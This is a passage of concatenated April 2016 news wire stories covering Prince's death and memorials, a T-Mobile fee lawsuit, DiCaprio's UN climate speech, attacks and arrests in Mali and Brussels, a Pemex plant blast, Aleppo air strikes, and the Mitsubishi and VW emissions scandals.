"The thing that really bothers me about it is the Prince I know was super healthy, vegan, wasn't an abuser of drugs, wasn't an abuser of alcohol," said Reid. "He lived right and he was clean. He looked young and he looked really healthy and vibrant, so the whole thing is just like very mysterious to me."

Prince was found dead in an elevator in his home and recording studio in Minnesota on Thursday. Fellow artists like Madonna, Lenny Kravitz, Elton John, Lionel Richie and more have paid tribute to the legendary musician following his death.

Reid said Prince was a business genius as much as he was a musical one and he admitted that he still sometimes got starstruck by Prince when he was working with him. "I was always in awe of him," said Reid. "He was something special.

The music producer talked about how talented Prince was, explaining how challenging it is to play every instrument on an album, like Prince did early on in his career.

"That's the most difficult thing," said Reid. "First of all when you're playing every instrument, that means you're playing them one at a time. So that means he'll put his drum track down first, and he's playing the entire song while he's hearing it in his head, then come back and lay the bass, then come back and lay the piano, and then lay the guitars."

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"It's impossible," he continued. "No one can do this."

Read More: Hollywood Pays Tribute to Legendary Artist Prince
T-Mobile loves to brand itself the "Un-carrier" but a new lawsuit alleges that it's doing something very carrier-esque by charging customers sneaky early termination fees despite the fact that they never signed onto any service agreements. Per Top Class Actions, the suit is alleging that while "T-Mobile attracts customers by touting no contract cell phone service plans without any hidden fees," the company actually "has a practice of unlawfully seeking the entire amount under the device contract as immediately due" whenever a customer leaves T-Mobile early.

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This has actually always been the case with T-Mobile ever since it announced that it would ditch two-year service agreements. If you buy a device through T-Mobile, you have the choice to either pay for it outright or to pay for it in monthly installments over the span of a couple of years. So while T-Mobile isn't going to charge you any fees if you leave their service if you've already paid off the cost of the device, you will have to pay off the cost of the device in its entirety if you leave before you've paid it off.

"When T-Mobile attempts to recover the entire accelerated amount, it knows it has no right to seek this amount," the class action suit alleges. "Thus, T-Mobile has a practice of illegally accelerating contracts and attempting to collect illegal charges from consumers that are not owed."

Whether this suit is successful may come down to how well T-Mobile has covered its bases in its device purchase agreements. If T-Mobile explicitly tells device buyers that they'll have to pay off the entirety of the device immediately if they leave T-Mobile before paying off their installments, it will be tough to see how this is all that deceptive.

Then again, this lawsuit is alleging T-Mobile has specifically violated the Florida Deceptive and Unfair Trade Practices Act and the Florida Consumer Collection Practices Act, so a case could also hinge on whether T-Mobile's marketing has deceived consumers into thinking its ditched all contracts when in reality it's just ditched all service contracts.

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BGR reached out to T-Mobile and the "Un-carrier" declined to comment.

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Leonardo DiCaprio addressed world leaders on climate change at the United Nations High-Level Signature Ceremony for the Paris Agreement on Friday, the day before Earth Day.

I have traveled all over the world for the past two years documenting how this crisis is changing the natural balance of our planet, said DiCaprio. I have seen cities like Beijing chocked by industrial pollution, ancient boreal forests in Canada that have been clear cut and rain forests in Indonesia that have been incinerated.

Approved in Paris last December, the Paris agreement aims to slow the rise of greenhouse gasses that contribute to global warming.

Our planet cannot be saved unless we leave fossil fuels in the ground where they belong, said DiCaprio to the sound of applause. A massive change is required right now that leads to a new collective consciousness, a new collective evolution of the human race inspired and enabled by a sense of urgency from all of you.

The Oscar winner admitted to the room of leaders all that I have seen on my journey has absolutely terrified me. While he acknowledged the progress the UN has made by achieving the agreement, DiCaprio said that will not be enough.

After 21 years of debates and conferences, it is time to declare no more talk, no more excuses, no more 10-year studies, no more allowing the fossil fuel companies to manipulate and dictate the science and policies that effect our future, the Oscar-winning actor said. This is the body that can do what is needed. All of you sitting in this very hall. The world is now watching. You will either be lauded by future generations or vilified by them.

More than 175 countries gathered to sign the agreement at the United Nations headquarters in New York. The gathering set the record for the number of countries signing an agreement on the first available day, according to the Associated Press.

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Prince's massive catalogue of work included many memorable lyrics that could by turn be lewd, political, provocative or playful.

Here are some of his better-known ones:

- "Two thousand zero zero party over, oops out of time. So tonight I'm gonna party like it's 1999." From "1999," released 1982.

- "Dearly beloved, we are gathered here today 2 get through this thing called life." From "Let's Go Crazy." 1984.

- "Ain't no particular sign I'm more compatible with, I just want your extra time and your kiss." From "Kiss." 1986.

- "I met her in a hotel lobby masturbating with a magazine. She said 'How'd you like to waste some time?' And I could not resist when I saw little Nikki grind." From "Darling Nikki." 1984.

- "In France, a skinny man died of a big disease with a little name. By chance his girlfriend came across a needle and soon she did the same." From "Sign 'o' the Times." 1987.

- "I never meant to cause you any sorrow, I never meant to cause you any pain. I only wanted one time to see you laughing... in the purple rain." From "Purple Rain." 1984.

- "I'm goin' down 2 Alphabet Street. I'm gonna crown the first girl that I meet. I'm gonna talk so sexy, she'll want me from my head 2 my feet." From "Alphabet St." 1988.

- "Starfish and coffee, maple syrup and jam. Butterscotch clouds, a tangerine and a side order of ham." From "Starfish and Coffee." 1987.

- "23 positions in a one night stand, I'll only call u after if u say I can." From "Gett off." 1991.
Police in Zambia arrested over 200 people for allegedly attacking Rwandan nationals and looting their shops in the capital.

Some Lusaka residents had been protesting a spate of ritual killings blamed on Rwandans. The ritual killings started in March with several bodies, mainly of men, found with parts missing.

Police say about 11 people have been arrested in connection with ritual murders of about seven people.

The riots started on Monday in densely populated areas with resident looting shops owned by Rwandese nationals. About 62 shops were destroyed. Youths stood by a car that had been overturned and burned.

Most of the Rwandans were refugees following the 1994 genocide. Most of the 6,500 Rwandans in Zambia trade goods.

Rwanda charge d'affaires Abel Buhungu commended police for their swift action.

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BARCELONA (Reuters) - Russians Lokomotiv Krasnodar are on the verge of reaching their maiden Euroleague Final Four after a 92-80 overtime win at Barcelona tied their best-of-five quarter-final at 2-2 on Thursday. The series will move to Russia for the decisive match on Tuesday after rampant Lokomotiv outscored Barcelona 16-4 in the additional five minutes of a rip-roaring contest in the Palau Blaugrana. The Russian side's American power forward Anthony Randolph was at the heart of their success, scoring eight points and dishing out an assist in an 11-0 overtime run which forced Barca into submission. Randolph finished with a game-high 28 points and playmaker Malcolm Delaney added 17 for the visitors, who had never previously progressed to the knockout stage of Europe's premier club competition. Juan Carlos Navarro, the Euroleague's all-time leading scorer, forced overtime with a difficult mid-range shot with two seconds remaining. He led Barcelona with 19 points but fizzled out at crunch time. The series' winners will join Fenerbahce Istanbul, CSKA Moscow and Spaniards Laboral Kutxa Vitoria in the May 13-15 Final Four in Berlin. Fenerbahce, who knocked out holders Real Madrid, clash with Laboral in the opening semi-final while CSKA will lock horns with either Lokomotiv or Barcelona. (Writing by Zoran Milosavljevic; Editing by Martyn Herman)
(Updates with final report)

By Tiemeko Diallo

BAMAKO, April 22 (Reuters) - Investigators into the crash of an Air Algerie flight in Mali that killed 116 people in 2014 have called for expanded anti-icing protection and better procedures and training after the pilots lost control while trying to avoid a storm.

A final report by France's BEA agency, presented in Mali and Paris, focused on the way pilots responded to problems initially caused by the icing of vital probes, partly echoing the crash of an Air France airliner over the Atlantic in 2009.

After an investigation lasting almost two years, the BEA said it could not exactly explain the crew's actions because of a faulty and damaged cockpit voice recorder.

However, it confirmed earlier findings that an anti-icing system had been left switched off as the plane flew from Ouagadougou, Burkina Faso's capital, to Algiers at night, before crashing in the remote desert of eastern Mali on July 24.

"The plane tried to avoid a storm area," Malian Transport minister Mamadou Achim Koumare said, presenting the report in a news conference in Bamako.

"There was some icing in the aircraft's engine ... and it's at that time that the plane made a left turn and plunged."

Of the victims, 54 were French citizens, and the BEA helped Mali investigate the crash of the McDonnell Douglas MD-83 jet.

The 170-page report is the latest response to a series of accidents in which a combination of factors led to a high-altitude stall or loss of lift, prompting calls for better training for pilots in the air and in simulators.

The BEA said the crew may have been distracted by the storm as well as problems in communicating with air traffic control.

It found no sign that they responded to subsequent warning signs that the aircraft was losing lift, which include tell-tale wing vibrations and deliberate alarms inside the cockpit such as the automatic shaking of the control column.

Pilots are meant to push the stick forwards and lower the nose to pick up speed in order to correct a stall, but the BEA said it had discovered a "lack of appropriate inputs on the flight controls to recover from a stall situation".

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It also suggested cockpit stall warnings woke up "belatedly" because of the logic that governs the way they are triggered.

It recommended U.S. planemaker Boeing, which now owns the company that built the 18-year-old jet, should look at installing a permanent anti-icing system and changing the logic of some systems.

It also called for improvements in the way simulators are designed for the aircraft, which is no longer in production.

Boeing was not immediately available for comment.

(Writing by Marine Pennetier, Tim Hepher, editing by John Stonestreet)
By Tiemoko Diallo BAMAKO (Reuters) - Authorities in Mali said on Friday they had arrested a member of a group linked to al Qaeda that has claimed responsibility for attacks that killed dozens in Mali and neighboring Burkina Faso and Ivory Coast. Fawaz Ould Ahmed was captured by security and intelligence services in Bamako on Thursday as he was preparing to carry out another attack, said security ministry spokesman Amadou Sangho. "We found him with grenades and a small suitcase containing weapons. He was behind the attacks on the Radisson, the Hotel Nord Sud, the La Terrasse restaurant and the Hotel Byblos," he said. He said Ould Ahmed was a member of al Mourabitoun, a militant group allied to al Qaeda in the Islamic Maghreb (AQIM). Beginning with an attack on La Terrasse in Bamako in March last year that killed five people, the two groups have teamed up to target civilians at locations frequented by westerners. Seventeen people died in the attack on the Hotel Byblos in the town of Sevare in August and 20 in the November raid on the luxury Radisson Blu in the capital. Attacks on a restaurant in neighboring Burkina Faso's capital Ouagadougou and a beach resort town in Ivory Coast in January and March of this year left dozens more dead. There were no casualties in last month's attack on Bamako's Hotel Nord Sud, which serves as the headquarters of the European Union's military training mission in Mali. Al Mourabitoun and AQIM claimed responsibility for all the attacks, but Sangho only linked Ould Ahmed to attacks inside Mali. Islamist violence is on the rise across West Africa despite a 2013 French-led military intervention that sought to drive militants out of northern Mali, which they had seized a year earlier. Before Ould Ahmed's capture, Malian officials had claimed to have arrested a number of suspected militants over the past month, who they say organized or carried out the assaults. "(Ould Ahmed) could have even carried out an operation this Friday. So it's a big win for the DGSE (intelligence service) which has arrested five terrorist bosses in less than four weeks," an intelligence officer said, asking not to be named. Some experts question the importance of the recent arrests. Contacted by Reuters, five academics who focus on Islamist militant groups in the region said they had never heard of Ould Ahmed. (Additional reporting by Adama Diarra; Writing by Joe Bavier; Editing by Andrew Roche)
Berlin (AFP) - German Chancellor Angela Merkel on Friday admitted she had made an "error" in the bitter freedom of speech row sparked by a comedian's poem about Turkey's president.

But she defended her decision to authorise criminal proceedings against popular comedian Jan Boehmermann, saying this was a "fair" reaction to the poem that accused President Recep Tayyip Erdogan of paedophilia and bestiality.

Merkel did, however, express regret that her spokesman Steffen Seibert had said she viewed the poem as "deliberately insulting" in the chancellery's first official reaction to the row.

"With hindsight, it was an error," Merkel told regional officials meeting in Berlin, adding that the remark could have given the impression that "freedom of opinion is not important, that freedom of the press is not important".

Merkel's decision to allow proceedings against Boehmermann has appalled rights groups, while the comedian has received vocal support from media and cultural figures.

He could be convicted under the rarely-enforced section 103 of the criminal code -- insulting organs or representatives of foreign states.

Prosecutors have opened a preliminary probe against Boehmermann over his so-called "Defamatory Poem", recited with a broad grin on public television on March 31, accusing Erdogan of bestiality and watching child porn.

During its broadcast, Boehmermann had gleefully admitted the piece flouted Germany's legal limits to free speech and was intended as a provocation.

He has suspended his television show in the midst of the controversy.

The row has soured relations at a time when Ankara is vital to European Union plans to tackle the migrant crisis, and some commentators have suggested Merkel's decision was linked to a desire to avoid upsetting Turkey.

The EU and Ankara in March agreed a deal that will see migrants arriving in Greece from Turkey sent back.

In exchange, Turkey will receive billions of euros of EU aid and political concessions.
Brussels (AFP) - Belgian lawmakers vowed Friday to probe how Belgium failed to thwart the Brussels bombings months after attacks in Paris, as they visited a targeted metro station before it reopens next week.

The parliament's commission of inquiry visited the two scenes of last month's attacks -- Maalbeek station and Brussels Airport -- as part of a mission to shed light by year-end on the attacks in both capitals that were allegedly carried out by the same Islamic State cell.

The panel wants to find out "the way in which Belgium had prepared since the (November) Paris attacks to try to avoid the same tragedy," panel member Laurette Onkelex said.

It must "shed light eventually on responsibilities, but also make recommendations and improve our security architecture," Onkelex said.

Brussels public transport service spokeswoman Francoise Ledune told AFP that Maelbeek station will resume service Monday from 6:00 am until 10:00 pm, like the rest of the network which is still closing two hours earlier than previously.

Maelbeek station has been closed since Khalid El-Bakraoui detonated a bomb at 9:11 am on March 22 that killed 16 people on a train, part of coordinated suicide attacks that hit the airport in Zaventem neighbourhood just over an hour earlier.

A total of 32 people died in the bombings and hundreds more were wounded.

One of the station's eight tiled portraits by artist Benoit van Innis remains damaged and will be covered up. The same artist is now working on a project to commemorate the massacre that is due to be completed in June, Ledune said.

- 'Some in tears' -

"In the meantime, we plan to set aside a remembrance wall where people can leave messages, words of hope," she added.

Officials quoted by the media said trains resumed service on Friday to Brussels airport, which the authorities had halted because of the damaged terminal.

Brussels airport is set to resume full operations in June after it was closed to passengers for 12 days following the attack and then began gradually to restore service.

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The parliamentary commission met airport staff during their visit on Friday. "It was very moving. Some were in tears," centrist politician Georges Dallemagne said.

The airport bombings were carried out by Khalid's brother Ibrahim El Bakraoui and Najim Laachraoui -- the alleged bombmaker for the November 13 Paris attacks that killed 130 people and wounded hundreds more.

Laachraoui has also been identified by several Frenchmen held hostage by Islamic State in Syria as one of their prison guards, sources close to the investigation said.

Police earlier this month arrested Mohamed Abrini, who confessed to being the "man in the hat" caught on video with the two airport bombers and who allegedly was preparing to detonate a third bomb before fleeing the scene.

The authorities have also arrested Swedish national Osama Krayem and charged him in connection with both the Brussels and Paris attacks.

He was filmed on CCTV talking to Khalid El Bakraoui minutes before the bomb went off.

The government announced it would build a statue similar to a war memorial for the people who died in the Brussels attacks. It will also provide financial aid to victims and their families, including covering lifetime medical expenses for those injured.
By Lizbeth Diaz COATZACOALCOS, Mexico (Reuters) - Twenty-four people died after a leak caused a deadly petrochemical plant blast, and the death toll could still rise, Mexican oil giant Pemex said on Thursday, the latest in a series of fatal accidents to batter the company. Pemex CEO Jose Antonio Gonzalez Anaya, who traveled to the site of Wednesday's blast near the port of Coatzacoalcos, one of Pemex's top oil export hubs, told local television it was unclear what caused the accident. The massive explosion at the facility's chlorinate 3 plant in the Gulf state of Veracruz also injured 136 people, 13 of them seriously. Another 18 people were unaccounted for, and one badly damaged part of the plant had yet to be scoured. "We know there was a leak, what we don't know is why, but everything points to an accident," Gonzalez Anaya said. He shared an updated death toll at a press conference late on Thursday, adding that remediation of the site could take up to a year. He denied the blast was tied to the economic problems of Pemex, which is trying to stem sliding output and slash costs as it creaks under the pressure of low crude prices. The sharp odor of ammonia filled the air and the plants' turbines still streamed gray smoke on Thursday afternoon, where local and municipal police, as well as marines, blocked the entrance to the facility. Most officials wore blue face masks to protect against the fumes, while family members crowded around, their faces uncovered, demanding more information on missing relatives and at times throwing objects at the officials or pushing them. Others held hands and prayed for the missing and dead. "We are desperate because no-one is coming out to show their face," said Ancelma Cordero, 49, whose 21-year-old brother is one of the missing and has not responded to his cellphone. She said she had been waiting since the prior night and her head was starting to hurt. "They told us we were breathing toxins and we should leave," she said of authorities. "But ... if we leave, they could make the bodies disappear." Calling it a "tragic accident", President Enrique Pena Nieto headed to the region late Thursday to tour the facility with local officials and speak with victims and their families. The blast occurred at a vinyl petrochemical plant that is a joint venture between Pemex's petrochemical unit and majority owner Mexican plastic pipe maker Mexichem . Pemex operates the larger petrochemical complex where the plant was located, known as Pajaritos. The plant produces some 900 tons a day of vinyl chloride monomer, also known as chloroethene, an industrial chemical used to produce plastic piping. The joint venture had forecast sales of $260 million this year. Shares in Mexichem closed 5.2 percent lower on Thursday. "This is neither the time for excuses nor finding those to blame," Juan Pablo del Valle, Mexichem's chairman, said on Twitter. "It is the time to tend to the injured, be accountable and support all those affected." In February, a fire killed a worker at the same plant, the latest in a litany of safety disasters that have plagued the state oil giant. In 2013, at least 37 people were killed by a blast at its Mexico City headquarters, and 26 people died in a fire at a Pemex natural gas facility in northern Mexico in September 2012. A 2015 fire at its Abkatun Permanente platform in the oil-rich Bay of Campeche affected oil output and cost the company up to $780 million. (Reporting by Tomas Bravo, Anahi Rama, Veronica Gomez, Gabriel Stargardter and Joanna Zuckerman Bernstein, writing by Alexandra Alper and Anna Yukhananov; Editing by Simon Gardner, Alan Crosby and Himani Sarkar)
By Stephanie Nebehay GENEVA (Reuters) - The numbers of migrants landing in Greece from Turkey is starting to creep up again, showing efforts to close off the route are coming under strain, the International Organization for Migration (IOM) said on Friday. Around 150 people a day had arrived over the last three days, still way off the numbers seen a month ago, the organization added, but showing an increase since an EU deal with Turkey deal to stem the flow. "The arrivals in Greece which were down to literally zero some days this month, are beginning to creep back up," IOM spokesman Joel Millman told a Geneva news briefing. "It could be the weather, it could be any number of things, it could be that smugglers are getting more creative." Europe signed an agreement with Turkey last month to close off the main route into Europe for more than a million people, most fleeing war and poverty in the Middle East, Asia and Africa. NATO sent ships into Greek and Turkish waters in the Aegean in March, though Greek Prime Minister Alexis Tsipras said on Friday that Turkish demands were hampering the mission. "It could be that there is just still a lot of demand in Turkey ... people have already spent months to get to Turkey and where there is a will and where there is means, people will try to satisfy them," Millman told the briefing. "It still shows that hermetic sealing that seemed to be happening a month ago isn't anymore." There were also signs of increased numbers of people from sub-Saharan Africa taking the perilous route across the Mediterranean to Europe, he said. More than 3 million people have been displaced in the Lake Chad basin - in Nigeria, Niger, Cameroon and Chad - by violence by the militant group Boko Haram, he added. An estimated 180,245 migrants and refugees have entered Europe by sea so far this year, the bulk of 154,227 to Greece, while at least 1,232 have died, the IOM said. Victims include an estimated 500 people who drowned in a shipwreck off Libya this week, mainly from the Horn of Africa, which 41 people survived. For the first three months of the year, an average of nearly 1,500 migrants or refugees arrived by sea each day in Europe, according to the agency. (Reporting by Stephanie Nebehay; additional reporting by Marina Depetris; Editing by Hugh Lawson and Andrew Heavens)
MINNEAPOLIS  She hadnt done anything like this since she was a teenager.

A little after 1:30 in the morning Friday, Laura, a 46-year-old mother of two who declined to give her last name so as not to be, as she put it, instantly branded worst mother of the year, stood in a crowd of hundreds of people trying to make their way inside the First Avenue nightclub for an all-night dance party in honor of Prince, who died Thursday at his Paisley Park estate about a half-hour from here.

A Minneapolis native, Laura had grown up listening to Prince records. Little Red Corvette was her favorite, though she admitted it was hard to pick just one. When word broke Thursday that Prince had died, she couldnt believe it and knew she had to make her way to downtown Minneapolis to pay respect to an artist who had meant so much to her. She asked her husband if he would watch their two teenage kids, and a few hours later, out the door she went.

Thousands of people in the streets of downtown Minneapolis for a memorial to Prince. (Holly Bailey/Yahoo News)

Its usually me calling out to my kids, When will you be home? But this time, I was the one saying, Dont wait up, Laura said as she stood squished with other Prince fans, some her age and others not much older than her kids. I cant remember the last time I was out this late, but how could I be anywhere else? [Prince] was my childhood. He was the soundtrack to my life. He was one of us.

SLIDESHOW  Music legend Prince is dead  the world mourns >>>

To the world, Prince was an iconic, irreplaceable artist who transcended musical genre. And here in Minneapolis, he was that toobut he was also more: a local boy who made good and never turned his back on his hometown. Prince lived here and recorded here, and up until his sudden death Thursday, he was a near-constant presence, frequenting record stores and jazz clubs and riding his bike in the streets as if he were just an average Minnesotan, not a musical prodigy, Oscar winner and member of the Rock and Roll Hall of Fame.

Early AM tribute to Prince outside the First Avenue nightclub in Minneapolis, Minn. (Holly Bailey/Yahoo News)

On Thursday, an estimated 10,000 people turned out for the block party outside First Avenue, one of the oldest clubs in the city and where Prince got his start. The musician later paid homage to the club that had been so pivotal in his career by using it as one of the principal locations in Purple Rain, the 1984 film that was based in part on his own life as a struggling Minneapolis musician. And the club had paid homage to him by painting a star with his name next to the front door  the first of nearly 500 stars honoring the local and national artists who have graced the clubs stage.

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In the 24 hours since his death, Princes star has become a makeshift memorial for fans, who have brought bouquets of purple flowers (in honor of the musicians favorite color), candles and other mementos like guitars and placed them on the sidewalk. On Thursday night, as outdoor speakers blared some of Princes best-known hits  including When Doves Cry and 1999  a long line of people snaked their way down the street, waiting to brush their fingertips on the star as a way of saying a final goodbye.

This is what it sounds like when thousands of Prince faithful sing Purple Rain. @StarTribune pic.twitter.com/rqzs4qHPap  Aaron Lavinsky (@ADLavinsky) April 22, 2016

At one point late in the evening, the speakers began to blare Purple Rain, the song for which Prince won an Oscar, and the crowd of thousands of people, which now spilled out onto several city blocks, began to sway and sing along. Many openly wept. Above them, the sky seemed to glow purple, illuminated by the several buildings in downtown that had lit up in color to honor a musical legend who never forgot his Minneapolis roots.

For the residents of Minneapolis, the loss of Prince is too large to describe, the citys mayor, Betsy Hodges, said in a statement issued by her office. Prince was a child of our city, and his love of his hometown permeated many of his songs.  Prince never left us, and we never left him.

Early AM tribute outside the First Avenue nightclub in Minneapolis, Minn. (Holly Bailey/Yahoo News

Follow Yahoo News liveblog for all the latest updates.

And our other coverage:

Watch Katie Courics look back

Prince: A life in photos

Best onscreen moments

The incredible numbers behind Princes career

Watch the Yahoo News Special Report

Prince: The best Super Bowl performance ever?

How Purple Rain came to be

Prince: Inside his mysterious life
Air strikes on rebel-held neighbourhoods in Syria's second city Aleppo on Friday killed at least 18 civilians and wounded more than a dozen, the local civil defence told AFP.

The Syrian Observatory for Human Rights said regime warplanes carried out the air strikes and gave a toll of 19 dead, up from its earlier toll of 10.

An AFP correspondent in the opposition-held eastern part of the city said several districts were targeted and that the wail of ambulances could be heard throughout the morning.

Seven civilians were killed and 10 wounded in Bustan al-Qasr, a civil defence member said, and four were killed in Al-Mashad.

The strikes killed five civilians in the opposition-held Salhin district and two more in other neighbourhoods.

In Bustan al-Qasr, one of Aleppo's most heavily populated neighbourhoods, a strike hit a five-storey apartment building, shearing off part of an entire floor.

"We were sleeping at 10:00 am when the strike hit the fourth floor of the building," said resident Ahmad Radi.

"We ran down and found the bodies all over the ground."

Civil defence volunteers were climbing into the building to search for families trapped in the rubble, the AFP journalist said.

Some emerged carrying squirming infants blanketed in dust, while others held limp bodies covered in white sheets.

"It's become normal here for people to die every day. No one even mourns anymore," one Bustan al-Qasr resident said.

"The next day, everyone opens their shops and things carry on as if nothing happened. But everyone living here has lost someone."

"A surprising number of wounded showed up at the field hospital, around 20 people," one medic in an opposition-held neighbourhood told AFP.

"It's more than we can handle," he said, adding that field hospitals in other neighbourhoods were also struggling to cope.

The Britain-based Observatory said a total of 14 air strikes had targeted Bustan al-Qasr and other Aleppo neighbourhoods.

It said they killed 19 people and wounded dozens more.

"The number of martyrs is expected to rise because many of those wounded are in critical condition," said the monitor, which relies on a network of sources inside Syria for its reports.

Once Syria's commercial hub, Aleppo has been divided between rebel control in the east and government forces in the west since 2012.

Nearly all warring parties in Syria -- the regime, rebels, jihadists and Kurds -- have carved out zones of control in war-torn Aleppo province.

A ceasefire took effect in Syria at the end of February, but the country has been rocked by fighting in recent weeks, particularly around Aleppo.

On Sunday, at least six civilians were killed in government strikes on eastern parts of the city, and another 16 were killed by Islamist rebel rocket fire.

Syria's conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.

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By Naomi Tajitsu and Chang-Ran Kim TOKYO (Reuters) - Mitsubishi Motors Corp's <7211.T> fuel economy scandal broadened on Friday as U.S. auto safety authorities said they were seeking information, and media reported that the automaker had submitted misleading data on at least one more model than disclosed and likely several others. Japan's sixth-largest automaker admitted this week it had overstated the fuel efficiency of 625,000 cars, wiping off around 40 percent of its market value, or $3.2 billion in three days. The revelations have also prompted Japanese authorities to raid one of its research and development facilities while Standard & Poor's warned its rating could be lowered further into speculative grade territory. Adding to fears that the scandal will lead to ballooning compensation costs and fines, top Japanese government officials said Mitsubishi may have to reimburse consumers and the government if investigations find the vehicles were not as fuel-efficient as claimed. "This is a serious problem that could lead to the loss of trust in our country's auto industry," Transport Minister Keiichi Ishii told a news conference on Friday. He said he wanted Mitsubishi to look at the possibility of buying back the cars in question, while another minister was quoted by media as saying the government could ask it to pay for any electric car subsidies granted to consumers. Domestic media reported that Mitsubishi had submitted misleading mileage data on its i-MiEV electric car, which is also sold overseas. Previously disclosed models are marketed specifically for the Japanese market and Mitsubishi has admitted to manipulating their fuel economy readings. The Sankei newspaper also said the automaker is also suspected of using non-Japanese test methodology on its RVR, Outlander, Pajero and Minicab MiEV models. Mitsubishi has said there may be models other than those disclosed that violate Japanese regulations. A spokesman said on Friday the company was still looking into those models. "A lot of the potential impact on Mitsubishi is pending whether they find out that something was wrong in cars sold in the U.S.," said Christopher Richter, an analyst at CLSA. A PLETHORA OF SCANDALS An official at the U.S. National Highway Traffic Safety Administration told Reuters the regulator had asked Mitsubishi for information on vehicles sold in the United States. He declined to comment on which models it had requested information on, or whether it had requested data from other automakers. The misconduct has revived memories of a scandal more than 15 years ago in which Mitsubishi admitted to systematically covering up customer complaints for more than 20 years, bringing the company close to collapse. The industry is also facing an ongoing massive recall of air bag inflators made by Japan's Takata Corp <7312.T>, which have been linked to 11 deaths and more than 100 injuries, mainly in the United States. Emissions cheating scandals have also erupted. Volkswagen AG announced a sweeping U.S. deal on Thursday to buy back or potentially fix about a half million cars and set up environmental and consumer compensation funds after it used software to conceal the level of toxic emissions. This week alone, PSA Peugeot Citroen was raided by France's anti-fraud investigators as part of ongoing probes on pollutants in the industry. Peugeot says its vehicles are compliant. Daimler AG also said it opened an internal emissions probe at the request of the U.S. Justice Department. Japan's Transport Ministry has ordered Mitsubishi to submit a full report on its test data within a week, and for other domestic automakers to submit fuel economy test data by May 18. Mitsubishi, which sells over 1 million cars annually, has said it expects to post operating income of 125 billion yen ($1.1 billion) for the year just ended. It reports earnings next Wednesday. (Reporting by Naomi Tajitsu and Chang-Ran Kim; Additional reporting by Ami Miyazaki; Writing by Chang-Ran Kim; Editing by Ryan Woo and Edwina Gibbs)
Tokyo (AFP) - Japanese automaker Mitsubishi Motors plans to compensate customers in a bid to limit the fallout from a fuel-efficiency cheating scandal, the Nikkei reported on Saturday.

Authorities raided the company's office on Thursday after the company admitted it had falsified efficiency data for hundreds of thousands of vehicles.

Mitsubishi Motors shares plunged more than 40 percent in the three days after the news emerged, their worst hat-trick of losses since the company listed in 1988.

The scandal has raised questions about the Japanese carmaker's future, after German giant Volkswagen posted its first loss in 20 years in 2015 because of the fallout from its own huge emissions-rigging scandal.

Mitsubishi Motors plans to offer to cover the extra fuel costs incurred by vehicle owners because their engines were less efficient than advertised, the Nikkei reported.

The move aims to "appease angry customers' nonstop inquiries" and prevent an "exodus" of buyers, the Japanese business daily said, without giving its sources.

Mitsubishi Motors has said it will halt production of more than 600,000 affected vehicle models -- mini-cars sold in Japan, including some made for rival Nissan.

But that has not been enough to save off criticism of the company, which was brought to the brink of bankruptcy in 2004 over revelations it covered up defects in its vehicles.

"I can't help but have doubt about the company's basic attitude towards compliance," Japan's transport minister Keiichi Ishii told reporters Friday.

"This is extremely regrettable."
Tokyo (AFP) - Mitsubishi Motors suffered another rout Friday, capping a disastrous week that has seen its shares plunge more than 40 percent after the automaker's shock admission that it cheated on fuel-efficiency tests.

The news Wednesday that unnamed employees had made some of its cars seem more fuel-efficient than they were in reality has sent the firm into freefall, wiping $3.2 billion off its market capitalisation.

It lost 13.55 percent Friday to close at 504 yen. The near 42 percent drop since Wednesday marks the firm's worst three-day decline since listing in 1988.

The scandal also raised questions about the company's future as it faces the prospect of huge fines and lawsuits and comes as German auto giant Volkswagen struggles to restore its badly dented reputation after revelations in September of emissions rigging.

The transport ministry sent officials to raid a company research and development centre for a second day on Friday, a ministry official told AFP.

Mitsubishi said it would halt production and sales of the affected models -- mini-cars sold in Japan including many made for rival Nissan -- and warned that the number would likely rise, as it looks to vehicles sold overseas.

Mini-cars, or kei-cars, are small vehicles with 660cc gasoline engines that are hugely popular in the Japanese market, although they have found little success abroad.

Mitsubishi has the smallest domestic market share among Japan's automakers, putting it behind firms including Toyota, Honda, and Mazda.

- Questions raised -

"Certainly it is a blow," Christopher Richter, a Tokyo-based auto analyst at brokerage CLSA, told AFP.

"The vast majority of (Mitsubishi's) business in Japan has become selling mini-vehicles to Nissan because the market share of their own branded products after the scandal in the 2000s withered down to practically nothing."

Cash-strapped Mitsubishi teetered on the edge of bankruptcy more than a decade ago, hammered by slumping sales caused by a series of defect cover-up scandals. The latest case has raised questions about whether efforts to change its corporate culture had sunk in.

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Experts have said the firm prized unwavering employee loyalty even more than most Japanese companies, and that may have been a key issue behind the rigged tests.

Japan's transport minister Keiichi Ishii echoed those fears.

"I can't help but have doubts about the company's basic attitude towards compliance. This is extremely regrettable," he told reporters Friday.

Ishii also said the government will review testing done by domestic automakers as it awaits the results of an internal probe by Mitsubishi, due next week.

While the scandal has sparked questions about its survival, it was unlikely a beaten-down Mitsubishi would be snapped up by one of its bigger rivals, said Richter at CLSA.

The automaker was born from the vast Mitsubishi group of companies, which are still loosely connected through cross-shareholdings and historical ties.

"In the past, consolidation has been talked about for Mitsubishi or streamlining the businesses, (but) there has been a lot of resistance from other companies within the Mitsubishi group," Richter said.

"They have to be factored in any calculation about consolidation."
Berlin (AFP) - Major names in the auto industry found themselves caught in headlights of a global engine-rigging scandal on Friday as Volkswagen booked one of the biggest losses in its history over the scam.

As VW announced it was setting aside 16.2 billion euros to cover the costs of the scandal, the German government revealed that an emissions probe found that 16 major car brands -- ranging from France's Renault to Italy's Fiat to Japan's Nissan -- showed up irregularities.

German carmakers would have to recall Audi, Mercedes, Opel, Porsche and Volkswagen vehicles in Europe after failing the test, Transport Minister Alexander Dobrindt said, adding that Berlin was unable to require foreign car makers that did not fall under its jurisdiction to take similar action.

The latest revelations amounted to another aftershock rocking the automobile sector, already vulnerable after VW's scandal erupted in September with the admission that the group had installed so-called "defeat devices" aimed at cheating emissions tests into 11 million diesel engines worldwide.

This week, the pain spread to Asia, where Japan's Mitsubishi Motors confessed that it cheated on fuel-efficiency tests.

And late Thursday, top of the range German maker Daimler announced that it was launching an internal probe into its emission certification process at the request of the US authorities.

France's biggest automaker PSA Group was also not spared, as the country's anti-fraud squad raided its premises as part of a government probe into emissions after "anomalies" were found in three vehicles.

- 16 car brands hit -

The latest trouble to hit the sector arises from a probe carried out into the emission values of all vehicle models on German roads.

Of 53 models tested, 22 models were found to emit high nitrogen oxide values and possess a technical device that raised questions.

The models in particular have devices that, under specific temperatures, switch off systems that are meant to remove harmful nitrogen oxide from cars' exhaust.

